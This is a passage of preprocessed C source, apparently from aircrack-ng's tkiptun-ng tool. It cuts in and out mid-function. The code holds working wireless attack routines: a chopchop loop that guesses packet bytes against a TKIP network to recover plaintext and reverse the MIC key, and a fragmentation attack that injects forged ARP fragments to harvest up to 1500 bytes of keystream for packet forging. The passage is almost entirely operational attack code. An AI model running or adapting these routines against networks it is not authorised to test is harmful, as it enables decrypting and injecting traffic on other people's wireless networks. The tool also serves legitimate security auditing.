                opt.r_smac[5] = guess & 0xFF;
            }
            else
            {
                opt.r_dmac[1] |= ( guess < 256 );
                opt.r_dmac[5] = guess & 0xFF;
            }




            if( guess < 256 )
            {
                h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
                h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
                h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
                h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
            }

            (*__errno_location ()) = 0;

            if( send_packet( h80211, data_end -1 ) != 0 )
                return( 1 );

            if( (*__errno_location ()) != 11 )
            {
                guess++;

                if( guess > 256 )
                    guess = 0;
                else
                    tries++;

                settle=0;
            }

            if(tries > 768 && data_end < srclen)
            {

                tries = 0;

                data_end++;

                guess = chopped[data_end - 1] ^ srcbuf[data_end - 1];

                chopped[data_end - 1] ^= guess;
                chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
                chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
                chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
                chopped[data_end - 5] ^= crc_chop_tbl[guess][0];

                ticks[3] = 0;
                nb_pkt_sent = 0;
                nb_bad_pkt = 0;
                guess = 256;

                { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("\nMoved one step backwards to chop the last byte again.\n");
                continue;
            }
        }



        n = read_packet( h80211, sizeof( h80211 ), ((void *)0) );

        if( n < 0 ) return( 1 );
        if( n == 0 ) continue;

        nb_pkt_read++;



        if( h80211[0] == 0xA0 || h80211[0] == 0xC0 )
        {
            if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 )
            {
                nb_bad_pkt++;

                if( nb_bad_pkt > 2 )
                {
                    printf(
                "\n\nFailure: got several deauthentication packets "
                "from the AP - you need to start the whole process "
                "all over again, as the client got disconnected.\n\n" );
                    return( 1 );
                }

                continue;
            }

            if( h80211[4] != opt.r_smac[0] ) continue;
            if( h80211[6] != opt.r_smac[2] ) continue;
            if( h80211[7] != opt.r_smac[3] ) continue;
            if( h80211[8] != opt.r_smac[4] ) continue;






             if( data_end < 41 ) goto header_rec;

                printf( "\n\nFailure: the access point does not properly "
                        "discard frames with an\ninvalid ICV - try running "
                        "aireplay-ng in authenticated mode (-h) instead.\n\n" );
                return( 1 );

        }
        else
        {


            if( ( h80211[0] & 0x0C ) != 8 ) continue;
            if( ( h80211[0] & 0x70 ) != 0 ) continue;

            if( ( h80211[1] & 0x40 ) == 0 ) continue;


            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
            if ( ( h80211[0] & 0x80 ) == 0x80 )
                z+=2;


            if( ( h80211[z + 3] & 0x20 ) == 0 ) continue;


            if( z+127 != n ) continue;




            if( ((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03 ) continue;


            switch( h80211[1] & 3 )
            {
                case 1:
                    if( memcmp( bssid, h80211 + 4, 6 ) != 0 &&
                        memcmp( dmac , h80211 + 10, 6 ) != 0 &&
                        memcmp( bssid, h80211 + 16, 6 ) != 0) continue;
                    break;
                case 2:
                    if( memcmp( smac , h80211 + 4, 6 ) != 0 &&
                        memcmp( bssid, h80211 + 10, 6 ) != 0 &&
                        memcmp( bssid, h80211 + 16, 6 ) != 0) continue;
                    break;
                default:
                    continue;
                    break;
            }
# 2797 "tkiptun-ng.c"
            if(nb_pkt_sent < 1)
                continue;
        }




        tries = 0;
        settle = 0;
        guess = (guess - 1) % 256;

        chopped[data_end - 1] ^= guess;
        chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
        chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
        chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
        chopped[data_end - 5] ^= crc_chop_tbl[guess][0];

        n = caplen - data_start;

        printf( "\r"); { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | "
                "%4ld frames written in %5.0fms\n", data_end - 1,
                100 * ( caplen - data_end ) / n,
                chopped[data_end - 1],
                chopped[data_end - 1] ^ srcbuf[data_end - 1],
                nb_pkt_sent, ticks[3] );

        if( is_deauth_mode )
        {
            opt.r_smac[1] = rand() & 0x3E;
            opt.r_smac[2] = rand() & 0xFF;
            opt.r_smac[3] = rand() & 0xFF;
            opt.r_smac[4] = rand() & 0xFF;
        }
        else
        {
            opt.r_dmac[1] = rand() & 0xFE;
            opt.r_dmac[2] = rand() & 0xFF;
            opt.r_dmac[3] = rand() & 0xFF;
            opt.r_dmac[4] = rand() & 0xFF;
        }

        ticks[3] = 0;
        nb_pkt_sent = 0;
        nb_bad_pkt = 0;
        guess = 256;

        data_end--;

        gettimeofday(&opt.last_mic_failure, ((void *)0));
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("\rSleeping for %i seconds.", opt.mic_failure_interval);
        fflush(stdout);

        if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0)
            break;

        while(1)
        {
            gettimeofday(&mic_fail, ((void *)0));
            if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000)
                break;
            sleep(1);
        }

        alarm( 0 );
    }



    memcpy( h80211, srcbuf, caplen );

    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( h80211[0] & 0x80 ) == 0x80 )
        z+=2;
    diff = z-24;

    chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1;
    chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2;
    chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
    chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
    chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
    chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;

    for( i = 26 + 8; i < (int) caplen; i++ )
        h80211[i - 8] = h80211[i] ^ chopped[i];

    if( ! check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) {
        if (!tried_header_rec) {
            printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" );
            tried_header_rec=1;
            goto header_rec;
        } else {
            printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" );
        }
    }

    caplen -= 8 + 4;

    if(opt.got_ptk)
    {
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Priority: %02X:%02X\n", h80211[z-2], h80211[z-1]);
        calc_tkip_mic(h80211, caplen-8, opt.wpa_sta.ptk, mic);
        if( memcmp(mic, h80211+caplen-8, 8) == 0)
        {
            { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Correct MIC!\n");
        }
        else
        {
            { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Incorrect MIC!\n");
        }
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Captured MIC: ");
        for(i=0; i<7; i++)
            printf("%02X:", h80211[caplen-8+i]);
        printf("%02X\n", h80211[caplen-1]);
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Calculated MIC: ");
        for(i=0; i<7; i++)
            printf("%02X:", mic[i]);
        printf("%02X\n", mic[7]);
    }

    calc_tkip_mic_key(h80211, caplen, mic);

    h80211[1] &= 0xBF;

    if((h80211[1] & 3) == 1)
    {
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Reversed MIC Key (ToDS): ");
        for(i=0; i<7; i++)
            printf("%02X:", mic[i]);
        printf("%02X\n", mic[7]);
        memcpy(opt.ptk+48+8, mic, 8);
        opt.got_mic_tods=1;
        opt.chopped_to_plain = (unsigned char*) malloc( caplen );
        memcpy(opt.chopped_to_plain, h80211, caplen);
        opt.chopped_to_plain_len = caplen;
        opt.chopped_to_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 );
        memcpy(opt.chopped_to_prga, chopped+26, caplen-26+4+8);
        opt.chopped_to_prga_len = caplen-26+4+8;
    }

    if((h80211[1] & 3) == 2)
    {
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Reversed MIC Key (FromDS): ");
        for(i=0; i<7; i++)
            printf("%02X:", mic[i]);
        printf("%02X\n", mic[7]);
        memcpy(opt.ptk+48, mic, 8);
        opt.got_mic_fromds=1;
        opt.chopped_from_plain = (unsigned char*) malloc( caplen );
        memcpy(opt.chopped_from_plain, h80211, caplen);
        opt.chopped_from_plain_len = caplen;
        opt.chopped_from_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 );
        memcpy(opt.chopped_from_prga, chopped+26, caplen-26+4+8);
        opt.chopped_from_prga_len = caplen-26+4+8;
    }



    gettimeofday( &tv, ((void *)0) );

    pfh_out.magic = 0xA1B2C3D4;
    pfh_out.version_major = 2;
    pfh_out.version_minor = 4;
    pfh_out.thiszone = 0;
    pfh_out.sigfigs = 0;
    pfh_out.snaplen = 65535;
    pfh_out.linktype = 105;

    pkh.tv_sec = tv.tv_sec;
    pkh.tv_usec = tv.tv_usec;
    pkh.caplen = caplen;
    pkh.len = caplen;

    lt = localtime( (const time_t *) &tv.tv_sec );

    memset( strbuf, 0, sizeof( strbuf ) );
    snprintf( strbuf, sizeof( strbuf ) - 1,
              "replay_dec-%02d%02d-%02d%02d%02d.cap",
              lt->tm_mon + 1, lt->tm_mday,
              lt->tm_hour, lt->tm_min, lt->tm_sec );

    printf( "\nSaving plaintext in %s\n", strbuf );

    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == ((void *)0) )
    {
        perror( "fopen failed" );
        return( 1 );
    }

    n = sizeof( struct pcap_file_header );

    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed\n" );
        return( 1 );
    }

    n = sizeof( pkh );

    if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed" );
        return( 1 );
    }

    n = pkh.caplen;

    if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed" );
        return( 1 );
    }

    fclose( f_cap_out );



    memset( strbuf, 0, sizeof( strbuf ) );
    snprintf( strbuf, sizeof( strbuf ) - 1,
              "replay_dec-%02d%02d-%02d%02d%02d.xor",
              lt->tm_mon + 1, lt->tm_mday,
              lt->tm_hour, lt->tm_min, lt->tm_sec );

    printf( "Saving keystream in %s\n", strbuf );

    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == ((void *)0) )
    {
        perror( "fopen failed" );
        return( 1 );
    }

    n = pkh.caplen + 8 - 26 - 8;

    if( fwrite( chopped + 26 + 8, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed" );
        return( 1 );
    }

    fclose( f_cap_out );

    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n",
            (long) time( ((void *)0) ) - tt,
            (float) ( pkh.caplen - 6 - 26 ) /
            (float) ( time( ((void *)0) ) - tt ) );

    return( 0 );
}

int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size)
{
 unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01";
 unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00";


    memcpy(h80211, header80211, 4);
    memcpy(h80211+4, bssid, 6);
    memcpy(h80211+10, src_mac, 6);
    memcpy(h80211+16, dst_mac, 6);
    h80211[22] = '\x00';
    h80211[23] = '\x00';


    memcpy(h80211+24, arp_header, 16);
    memcpy(h80211+40, src_mac, 6);
    memcpy(h80211+46, src_ip, 4);
    memset(h80211+50, '\x00', 6);
    memcpy(h80211+56, dst_ip, 4);


    memset(h80211+60, '\x00', size-60);

    return 0;
}

void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen)
{
 size_t unused;
    FILE *xorfile;
    xorfile = fopen(filename, "wb");
    unused = fwrite (iv, 1, 4, xorfile);
    unused = fwrite (prga, 1, prgalen, xorfile);
    fclose (xorfile);
}

int do_attack_fragment()
{
    unsigned char packet[4096];
    unsigned char packet2[4096];
    unsigned char prga[4096];
    unsigned char iv[4];



    char strbuf[256];

    struct tm *lt;
    struct timeval tv, tv2;

    int done;
    int caplen;
    int caplen2;
    int arplen;
    int round;
    int prga_len;
    int isrelay;
    int again;
    int length;
    int ret;
    int gotit;
    int acksgot;
    int packets;
    int z;

    unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00";

    done = caplen = caplen2 = arplen = round = 0;
    prga_len = isrelay = gotit = again = length = 0;

    if( memcmp( opt.r_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) == 0 )
    {
        printf( "Please specify a source MAC (-h).\n" );
        return( 1 );
    }

    if(getnet(((void *)0), 1, 1) != 0)
        return 1;

    if( memcmp( opt.r_dmac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) == 0 )
    {
        memset( opt.r_dmac, '\xFF', 6);
        opt.r_dmac[5] = 0xED;
    }

    if( memcmp( opt.r_sip, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 4 ) == 0 )
    {
        memset( opt.r_sip, '\xFF', 4);
    }

    if( memcmp( opt.r_dip, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 4 ) == 0 )
    {
        memset( opt.r_dip, '\xFF', 4);
    }

    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf ("Waiting for a data packet...\n");

    while(!done)
    {
        round = 0;

        if( capture_ask_packet( &caplen, 0 ) != 0 )
            return -1;

        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
        if ( ( h80211[0] & 0x80 ) == 0x80 )
            z+=2;

        if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2))
            continue;

        memcpy( packet2, h80211, caplen );
        caplen2 = caplen;
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Data packet found!\n");

        if ( memcmp( packet2 + 4, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 ||
             memcmp( packet2 + 16, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 )
        {
            packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA);
            packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA);
            packet2[z+6] = ((packet2[z+6] ^ 0x00) ^ 0x08);
        }

        prga_len = 7;

        again = 2;

        memcpy( packet, packet2, caplen2 );
        caplen = caplen2;
        memcpy(prga, packet+z+4, prga_len);
        memcpy(iv, packet+z, 4);

        xor_keystream(prga, snap_header, prga_len);

        while(again == 2)
        {
            again = 0;

            arplen=60;
            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);

            if ((round % 2) == 1)
            {
                { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying a LLC NULL packet\n");
                memset(h80211+24, '\x00', 39);
                arplen=63;
            }

            acksgot=0;
            packets=(arplen-24)/(prga_len-4);
            if( (arplen-24)%(prga_len-4) != 0 )
                packets++;

            { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Sending fragmented packet\n");
            send_fragments(h80211, arplen, iv, prga, prga_len-4, 0);



            gettimeofday( &tv, ((void *)0) );


            while (!gotit)
            {
                caplen = read_packet(packet, sizeof(packet), ((void *)0));
                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
                if ( ( packet[0] & 0x80 ) == 0x80 )
                    z+=2;

                if (packet[0] == 0xD4 )
                {
                    if (! memcmp(opt.r_smac, packet+4, 6))
                    {
                        acksgot++;
                    }
                    continue;
                }

                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) )
                {
                    if ( (packet[1] & 2) )
                    {
                        if (! memcmp(opt.r_dmac, packet+4, 6))
                        {
                            if (! memcmp(opt.r_smac, packet+16, 6))
                            {
                                if (caplen-z < 66)
                                {

                                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got RELAYED packet!!\n");
                                    gotit = 1;
                                    isrelay = 1;
                                }
                            }
                        }
                    }
                }



                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a deauthentication packet!\n" );
                    read_sleep( 5*1000000 );
                }



                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a disassociation packet!\n" );
                    read_sleep( 5*1000000 );
                }

                gettimeofday( &tv2, ((void *)0) );
                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Not enough acks, repeating...\n");
                    again = 2;
                    break;
                }

                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit)
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No answer, repeating...\n");
                    round++;
                    again = 2;
                    if (round > 10)
                    {
                        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Still nothing, trying another packet...\n");
                        again = 1;
                    }
                    break;
                }
            }
        }

        if(again == 1) continue;

        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60);
        if (caplen-z == 68-24)
        {


        }
        if (caplen-z == 71-24)
        {


            memset(h80211+24, '\x00', 39);
        }

        if (! isrelay)
        {

            unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02";



            memcpy(ct+16, packet+16, 6);
            memcpy(ct+22, opt.r_dip, 4);


            memcpy(ct+26, opt.r_smac, 6);
            memcpy(ct+32, opt.r_sip, 4);


            memcpy(prga, packet+z+4, 36);
            xor_keystream(prga, ct, 36);
        }
        else
        {
            memcpy(prga, packet+z+4, 36);
            xor_keystream(prga, h80211+24, 36);
        }

        memcpy(iv, packet+z, 4);
        round = 0;
        again = 2;
        while(again == 2)
        {
            again = 0;

            { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying to get 384 bytes of a keystream\n");

            arplen=408;

            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);
            if ((round % 2) == 1)
            {
                { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying a LLC NULL packet\n");
                memset(h80211+24, '\x00', arplen+8);
                arplen+=32;
            }

            acksgot=0;
            packets=(arplen-24)/(32);
            if( (arplen-24)%(32) != 0 )
                packets++;

            send_fragments(h80211, arplen, iv, prga, 32, 0);



            gettimeofday( &tv, ((void *)0) );

            gotit=0;
            while (!gotit)
            {
                caplen = read_packet(packet, sizeof(packet), ((void *)0));
                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
                if ( ( packet[0] & 0x80 ) == 0x80 )
                    z+=2;

                if (packet[0] == 0xD4 )
                {
                    if (! memcmp(opt.r_smac, packet+4, 6))
                        acksgot++;
                    continue;
                }

                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) )
                {
                    if ( (packet[1] & 2) )
                    {
                        if (! memcmp(opt.r_dmac, packet+4, 6))
                        {
                            if (! memcmp(opt.r_smac, packet+16, 6))
                            {
                                if (caplen-z > 400-24 && caplen-z < 500-24)
                                {

                                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got RELAYED packet!!\n");
                                    gotit = 1;
                                    isrelay = 1;
                                }
                            }
                        }
                    }
                }



                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a deauthentication packet!\n" );
                    read_sleep( 5*1000000 );
                }



                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a disassociation packet!\n" );
                    read_sleep( 5*1000000 );
                }

                gettimeofday( &tv2, ((void *)0) );
                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Not enough acks, repeating...\n");
                    again = 2;
                    break;
                }

                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit)
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No answer, repeating...\n");
                    round++;
                    again = 2;
                    if (round > 10)
                    {
                        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Still nothing, trying another packet...\n");
                        again = 1;
                    }
                    break;
                }
            }
        }

        if(again == 1) continue;

        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408);
        if (caplen-z == 416-24)
        {


        }
        if (caplen-z == 448-24)
        {


            memset(h80211+24, '\x00', 416);
        }

        memcpy(iv, packet+z, 4);
        memcpy(prga, packet+z+4, 384);
        xor_keystream(prga, h80211+24, 384);

        round = 0;
        again = 2;
        while(again == 2)
        {
            again = 0;

            { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying to get 1500 bytes of a keystream\n");

            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500);
            arplen=1500;
            if ((round % 2) == 1)
            {
                { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Trying a LLC NULL packet\n");
                memset(h80211+24, '\x00', 1508);
                arplen+=32;
            }

            acksgot=0;
            packets=(arplen-24)/(300);
            if( (arplen-24)%(300) != 0 )
                packets++;

            send_fragments(h80211, arplen, iv, prga, 300, 0);



            gettimeofday( &tv, ((void *)0) );

            gotit=0;
            while (!gotit)
            {
                caplen = read_packet(packet, sizeof(packet), ((void *)0));
                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
                if ( ( packet[0] & 0x80 ) == 0x80 )
                    z+=2;

                if (packet[0] == 0xD4 )
                {
                    if (! memcmp(opt.r_smac, packet+4, 6))
                        acksgot++;
                    continue;
                }

                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) )
                {
                    if ( (packet[1] & 2) )
                    {
                        if (! memcmp(opt.r_dmac, packet+4, 6))
                        {
                            if (! memcmp(opt.r_smac, packet+16, 6))
                            {
                                if (caplen-z > 1496-24)
                                {

                                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got RELAYED packet!!\n");
                                    gotit = 1;
                                    isrelay = 1;
                                }
                            }
                        }
                    }
                }



                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a deauthentication packet!\n" );
                    read_sleep( 5*1000000 );
                }



                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a disassociation packet!\n" );
                    read_sleep( 5*1000000 );
                }

                gettimeofday( &tv2, ((void *)0) );
                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Not enough acks, repeating...\n");
                    again = 2;
                    break;
                }

                if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit)
                {
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No answer, repeating...\n");
                    round++;
                    again = 2;
                    if (round > 10)
                    {
                        printf("Still nothing, quitting with 384 bytes? [y/n] \n");
                        fflush( stdout );
                        ret=0;
                        while(!ret) ret = scanf( "%s", tmpbuf );

                        printf( "\n" );

                        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
                            again = 3;
                        else
                            again = 1;
                    }
                    break;
                }
            }
        }

        if(again == 1) continue;

        if(again == 3) length = 408;
        else length = 1500;

        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length);
        if (caplen == length+8+z)
        {


        }
        if (caplen == length+16+z)
        {


            memset(h80211+24, '\x00', length+8);
        }

        if(again != 3)
        {
            memcpy(iv, packet+z, 4);
            memcpy(prga, packet+z+4, length);
            xor_keystream(prga, h80211+24, length);
        }

        lt = localtime( (const time_t *) &tv.tv_sec );

        memset( strbuf, 0, sizeof( strbuf ) );
        snprintf( strbuf, sizeof( strbuf ) - 1,
                  "fragment-%02d%02d-%02d%02d%02d.xor",
                  lt->tm_mon + 1, lt->tm_mday,
                  lt->tm_hour, lt->tm_min, lt->tm_sec );
        save_prga(strbuf, iv, prga, length);

        printf( "Saving keystream in %s\n", strbuf );
        printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length);

        done=1;

    }

    return( 0 );
}

static int get_ip_port(char *iface, char *ip, const int ip_size)
{
 char *host;
 char *ptr;
 int port = -1;
 struct in_addr addr;

